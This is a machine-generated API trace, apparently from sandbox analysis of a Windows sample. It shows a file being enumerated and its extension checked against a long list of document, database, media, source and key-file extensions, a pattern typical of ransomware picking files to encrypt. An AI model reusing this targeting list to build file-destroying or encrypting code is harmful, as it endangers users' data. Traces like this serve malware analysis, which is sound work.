	[0062.359] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.359] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0062.360] lstrlenW (lpString="eula.rtf") returned 8
	[0062.360] lstrlenW (lpString=".1cd") returned 4
	[0062.360] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0062.360] lstrlenW (lpString=".3ds") returned 4
	[0062.360] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0062.360] lstrlenW (lpString=".3fr") returned 4
	[0062.360] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0062.360] lstrlenW (lpString=".3g2") returned 4
	[0062.360] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0062.360] lstrlenW (lpString=".3gp") returned 4
	[0062.360] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0062.360] lstrlenW (lpString=".7z") returned 3
	[0062.360] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0062.360] lstrlenW (lpString=".accda") returned 6
	[0062.360] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0062.360] lstrlenW (lpString=".accdb") returned 6
	[0062.360] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0062.360] lstrlenW (lpString=".accdc") returned 6
	[0062.360] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0062.360] lstrlenW (lpString=".accde") returned 6
	[0062.360] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0062.360] lstrlenW (lpString=".accdt") returned 6
	[0062.360] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0062.360] lstrlenW (lpString=".accdw") returned 6
	[0062.360] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0062.360] lstrlenW (lpString=".adb") returned 4
	[0062.360] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0062.361] lstrlenW (lpString=".adp") returned 4
	[0062.361] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0062.361] lstrlenW (lpString=".ai") returned 3
	[0062.361] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0062.361] lstrlenW (lpString=".ai3") returned 4
	[0062.361] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0062.361] lstrlenW (lpString=".ai4") returned 4
	[0062.361] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0062.361] lstrlenW (lpString=".ai5") returned 4
	[0062.361] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0062.361] lstrlenW (lpString=".ai6") returned 4
	[0062.361] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0062.361] lstrlenW (lpString=".ai7") returned 4
	[0062.361] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0062.361] lstrlenW (lpString=".ai8") returned 4
	[0062.361] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0062.361] lstrlenW (lpString=".anim") returned 5
	[0062.361] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0062.361] lstrlenW (lpString=".arw") returned 4
	[0062.361] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0062.361] lstrlenW (lpString=".as") returned 3
	[0062.361] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0062.361] lstrlenW (lpString=".asa") returned 4
	[0062.361] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0062.361] lstrlenW (lpString=".asc") returned 4
	[0062.361] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0062.361] lstrlenW (lpString=".ascx") returned 5
	[0062.361] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0062.362] lstrlenW (lpString=".asm") returned 4
	[0062.362] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0062.362] lstrlenW (lpString=".asmx") returned 5
	[0062.362] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0062.362] lstrlenW (lpString=".asp") returned 4
	[0062.362] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0062.362] lstrlenW (lpString=".aspx") returned 5
	[0062.362] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0062.362] lstrlenW (lpString=".asr") returned 4
	[0062.362] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0062.362] lstrlenW (lpString=".asx") returned 4
	[0062.362] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0062.362] lstrlenW (lpString=".avi") returned 4
	[0062.362] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0062.362] lstrlenW (lpString=".avs") returned 4
	[0062.362] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0062.362] lstrlenW (lpString=".backup") returned 7
	[0062.362] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0062.362] lstrlenW (lpString=".bak") returned 4
	[0062.362] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0062.362] lstrlenW (lpString=".bay") returned 4
	[0062.362] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0062.362] lstrlenW (lpString=".bd") returned 3
	[0062.362] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0062.362] lstrlenW (lpString=".bin") returned 4
	[0062.362] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0062.362] lstrlenW (lpString=".bmp") returned 4
	[0062.362] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0062.362] lstrlenW (lpString=".bz2") returned 4
	[0062.362] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.362] lstrlenW (lpString=".c") returned 2
	[0062.362] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0062.362] lstrlenW (lpString=".cdr") returned 4
	[0062.362] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0062.362] lstrlenW (lpString=".cer") returned 4
	[0062.362] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0062.362] lstrlenW (lpString=".cf") returned 3
	[0062.363] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0062.363] lstrlenW (lpString=".cfc") returned 4
	[0062.363] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0062.363] lstrlenW (lpString=".cfm") returned 4
	[0062.363] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0062.363] lstrlenW (lpString=".cfml") returned 5
	[0062.363] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0062.363] lstrlenW (lpString=".cfu") returned 4
	[0062.363] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0062.363] lstrlenW (lpString=".chm") returned 4
	[0062.363] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0062.363] lstrlenW (lpString=".cin") returned 4
	[0062.363] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0062.363] lstrlenW (lpString=".class") returned 6
	[0062.363] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0062.363] lstrlenW (lpString=".clx") returned 4
	[0062.363] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0062.363] lstrlenW (lpString=".config") returned 7
	[0062.363] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0062.363] lstrlenW (lpString=".cpp") returned 4
	[0062.363] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0062.363] lstrlenW (lpString=".cr2") returned 4
	[0062.363] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0062.363] lstrlenW (lpString=".crt") returned 4
	[0062.363] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0062.363] lstrlenW (lpString=".crw") returned 4
	[0062.363] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0062.363] lstrlenW (lpString=".cs") returned 3
	[0062.363] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0062.363] lstrlenW (lpString=".css") returned 4
	[0062.363] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0062.363] lstrlenW (lpString=".csv") returned 4
	[0062.363] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0062.363] lstrlenW (lpString=".cub") returned 4
	[0062.363] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0062.363] lstrlenW (lpString=".dae") returned 4
	[0062.363] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0062.363] lstrlenW (lpString=".dat") returned 4
	[0062.364] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0062.364] lstrlenW (lpString=".db") returned 3
	[0062.364] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0062.364] lstrlenW (lpString=".dbf") returned 4
	[0062.364] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.364] lstrlenW (lpString=".dbx") returned 4
	[0062.364] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0062.364] lstrlenW (lpString=".dc3") returned 4
	[0062.364] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0062.364] lstrlenW (lpString=".dcm") returned 4
	[0062.364] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0062.364] lstrlenW (lpString=".dcr") returned 4
	[0062.364] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0062.364] lstrlenW (lpString=".der") returned 4
	[0062.364] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0062.364] lstrlenW (lpString=".dib") returned 4
	[0062.364] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0062.364] lstrlenW (lpString=".dic") returned 4
	[0062.364] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0062.364] lstrlenW (lpString=".dif") returned 4
	[0062.364] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0062.364] lstrlenW (lpString=".divx") returned 5
	[0062.364] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0062.364] lstrlenW (lpString=".djvu") returned 5
	[0062.364] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0062.364] lstrlenW (lpString=".dng") returned 4
	[0062.364] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0062.364] lstrlenW (lpString=".doc") returned 4
	[0062.364] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.364] lstrlenW (lpString=".docm") returned 5
	[0062.364] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0062.364] lstrlenW (lpString=".docx") returned 5
	[0062.364] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.364] lstrlenW (lpString=".dot") returned 4
	[0062.364] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0062.364] lstrlenW (lpString=".dotm") returned 5
	[0062.364] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0062.364] lstrlenW (lpString=".dotx") returned 5
	[0062.365] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0062.365] lstrlenW (lpString=".dpx") returned 4
	[0062.365] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0062.365] lstrlenW (lpString=".dqy") returned 4
	[0062.365] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0062.365] lstrlenW (lpString=".dsn") returned 4
	[0062.365] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0062.365] lstrlenW (lpString=".dt") returned 3
	[0062.365] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0062.365] lstrlenW (lpString=".dtd") returned 4
	[0062.365] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0062.365] lstrlenW (lpString=".dwg") returned 4
	[0062.365] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0062.365] lstrlenW (lpString=".dwt") returned 4
	[0062.365] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0062.365] lstrlenW (lpString=".dx") returned 3
	[0062.365] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0062.365] lstrlenW (lpString=".dxf") returned 4
	[0062.365] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0062.365] lstrlenW (lpString=".edml") returned 5
	[0062.365] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0062.365] lstrlenW (lpString=".efd") returned 4
	[0062.365] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0062.365] lstrlenW (lpString=".elf") returned 4
	[0062.365] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0062.365] lstrlenW (lpString=".emf") returned 4
	[0062.365] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0062.365] lstrlenW (lpString=".emz") returned 4
	[0062.365] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0062.365] lstrlenW (lpString=".epf") returned 4
	[0062.365] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0062.365] lstrlenW (lpString=".eps") returned 4
	[0062.365] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0062.365] lstrlenW (lpString=".epsf") returned 5
	[0062.365] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0062.365] lstrlenW (lpString=".epsp") returned 5
	[0062.365] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0062.365] lstrlenW (lpString=".erf") returned 4
	[0062.366] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0062.366] lstrlenW (lpString=".exr") returned 4
	[0062.366] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0062.366] lstrlenW (lpString=".f4v") returned 4
	[0062.366] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0062.366] lstrlenW (lpString=".fido") returned 5
	[0062.366] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0062.366] lstrlenW (lpString=".flm") returned 4
	[0062.366] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0062.366] lstrlenW (lpString=".flv") returned 4
	[0062.366] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0062.366] lstrlenW (lpString=".frm") returned 4
	[0062.366] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0062.366] lstrlenW (lpString=".fxg") returned 4
	[0062.366] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0062.366] lstrlenW (lpString=".geo") returned 4
	[0062.366] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0062.366] lstrlenW (lpString=".gif") returned 4
	[0062.366] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0062.366] lstrlenW (lpString=".grs") returned 4
	[0062.366] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0062.366] lstrlenW (lpString=".gz") returned 3
	[0062.366] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0062.366] lstrlenW (lpString=".h") returned 2
	[0062.366] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0062.366] lstrlenW (lpString=".hdr") returned 4
	[0062.366] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0062.366] lstrlenW (lpString=".hpp") returned 4
	[0062.366] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0062.366] lstrlenW (lpString=".hta") returned 4
	[0062.366] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0062.366] lstrlenW (lpString=".htc") returned 4
	[0062.366] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0062.366] lstrlenW (lpString=".htm") returned 4
	[0062.366] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0062.366] lstrlenW (lpString=".html") returned 5
	[0062.366] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0062.366] lstrlenW (lpString=".icb") returned 4
	[0062.367] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0062.367] lstrlenW (lpString=".ics") returned 4
	[0062.367] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0062.367] lstrlenW (lpString=".iff") returned 4
	[0062.367] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0062.367] lstrlenW (lpString=".inc") returned 4
	[0062.367] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0062.367] lstrlenW (lpString=".indd") returned 5
	[0062.367] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0062.367] lstrlenW (lpString=".ini") returned 4
	[0062.367] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0062.367] lstrlenW (lpString=".iqy") returned 4
	[0062.367] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0062.367] lstrlenW (lpString=".j2c") returned 4
	[0062.367] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0062.367] lstrlenW (lpString=".j2k") returned 4
	[0062.367] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0062.367] lstrlenW (lpString=".java") returned 5
	[0062.367] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0062.367] lstrlenW (lpString=".jp2") returned 4
	[0062.367] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0062.367] lstrlenW (lpString=".jpc") returned 4
	[0062.367] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0062.367] lstrlenW (lpString=".jpe") returned 4
	[0062.367] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0062.367] lstrlenW (lpString=".jpeg") returned 5
	[0062.367] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0062.367] lstrlenW (lpString=".jpf") returned 4
	[0062.367] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0062.367] lstrlenW (lpString=".jpg") returned 4
	[0062.367] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.367] lstrlenW (lpString=".jpx") returned 4
	[0062.367] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0062.367] lstrlenW (lpString=".js") returned 3
	[0062.367] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0062.367] lstrlenW (lpString=".jsf") returned 4
	[0062.367] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0062.368] lstrlenW (lpString=".json") returned 5
	[0062.368] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0062.368] lstrlenW (lpString=".jsp") returned 4
	[0062.368] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0062.368] lstrlenW (lpString=".kdc") returned 4
	[0062.368] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0062.368] lstrlenW (lpString=".kmz") returned 4
	[0062.368] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0062.368] lstrlenW (lpString=".kwm") returned 4
	[0062.368] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0062.368] lstrlenW (lpString=".lasso") returned 6
	[0062.368] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0062.368] lstrlenW (lpString=".lbi") returned 4
	[0062.368] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0062.368] lstrlenW (lpString=".lgf") returned 4
	[0062.368] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0062.368] lstrlenW (lpString=".lgp") returned 4
	[0062.368] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0062.368] lstrlenW (lpString=".log") returned 4
	[0062.368] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0062.368] lstrlenW (lpString=".m1v") returned 4
	[0062.368] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0062.368] lstrlenW (lpString=".m4a") returned 4
	[0062.368] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0062.368] lstrlenW (lpString=".m4v") returned 4
	[0062.368] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0062.368] lstrlenW (lpString=".max") returned 4
	[0062.368] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0062.368] lstrlenW (lpString=".md") returned 3
	[0062.368] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0062.368] lstrlenW (lpString=".mda") returned 4
	[0062.368] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0062.368] lstrlenW (lpString=".mdb") returned 4
	[0062.368] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0062.368] lstrlenW (lpString=".mde") returned 4
	[0062.368] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0062.368] lstrlenW (lpString=".mdf") returned 4
	[0062.368] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0062.369] lstrlenW (lpString=".mdw") returned 4
	[0062.369] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0062.369] lstrlenW (lpString=".mef") returned 4
	[0062.369] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0062.369] lstrlenW (lpString=".mft") returned 4
	[0062.369] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0062.369] lstrlenW (lpString=".mfw") returned 4
	[0062.369] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0062.369] lstrlenW (lpString=".mht") returned 4
	[0062.369] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0062.369] lstrlenW (lpString=".mhtml") returned 6
	[0062.369] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0062.369] lstrlenW (lpString=".mka") returned 4
	[0062.369] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0062.369] lstrlenW (lpString=".mkidx") returned 6
	[0062.369] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0062.369] lstrlenW (lpString=".mkv") returned 4
	[0062.369] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0062.369] lstrlenW (lpString=".mos") returned 4
	[0062.369] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0062.369] lstrlenW (lpString=".mov") returned 4
	[0062.369] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0062.369] lstrlenW (lpString=".mp3") returned 4
	[0062.369] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0062.369] lstrlenW (lpString=".mp4") returned 4
	[0062.369] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0062.369] lstrlenW (lpString=".mpeg") returned 5
	[0062.369] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0062.369] lstrlenW (lpString=".mpg") returned 4
	[0062.369] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0062.369] lstrlenW (lpString=".mpv") returned 4
	[0062.369] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0062.369] lstrlenW (lpString=".mrw") returned 4
	[0062.369] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0062.369] lstrlenW (lpString=".msg") returned 4
	[0062.369] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0062.369] lstrlenW (lpString=".mxl") returned 4
	[0062.369] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".myd") returned 4
	[0062.370] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".myi") returned 4
	[0062.370] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".nef") returned 4
	[0062.370] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".nrw") returned 4
	[0062.370] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".obj") returned 4
	[0062.370] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".odb") returned 4
	[0062.370] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".odc") returned 4
	[0062.370] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".odm") returned 4
	[0062.370] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".odp") returned 4
	[0062.370] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".ods") returned 4
	[0062.370] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".oft") returned 4
	[0062.370] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".one") returned 4
	[0062.370] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".onepkg") returned 7
	[0062.370] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0062.370] lstrlenW (lpString=".onetoc2") returned 8
	[0062.370] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0062.370] lstrlenW (lpString=".opt") returned 4
	[0062.370] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".oqy") returned 4
	[0062.370] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".orf") returned 4
	[0062.370] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".p12") returned 4
	[0062.370] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0062.370] lstrlenW (lpString=".p7b") returned 4
	[0062.370] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0062.371] lstrlenW (lpString=".p7c") returned 4
	[0062.371] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0062.371] lstrlenW (lpString=".pam") returned 4
	[0062.371] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0062.371] lstrlenW (lpString=".pbm") returned 4
	[0062.371] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0062.371] lstrlenW (lpString=".pct") returned 4
	[0062.371] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0062.371] lstrlenW (lpString=".pcx") returned 4
	[0062.371] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0062.371] lstrlenW (lpString=".pdd") returned 4
	[0062.371] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0062.371] lstrlenW (lpString=".pdf") returned 4
	[0062.371] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.371] lstrlenW (lpString=".pdp") returned 4
	[0062.371] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0062.371] lstrlenW (lpString=".pef") returned 4
	[0062.371] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0062.371] lstrlenW (lpString=".pem") returned 4
	[0062.371] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0062.371] lstrlenW (lpString=".pff") returned 4
	[0062.371] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0062.371] lstrlenW (lpString=".pfm") returned 4
	[0062.371] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0062.371] lstrlenW (lpString=".pfx") returned 4
	[0062.371] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0062.371] lstrlenW (lpString=".pgm") returned 4
	[0062.371] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
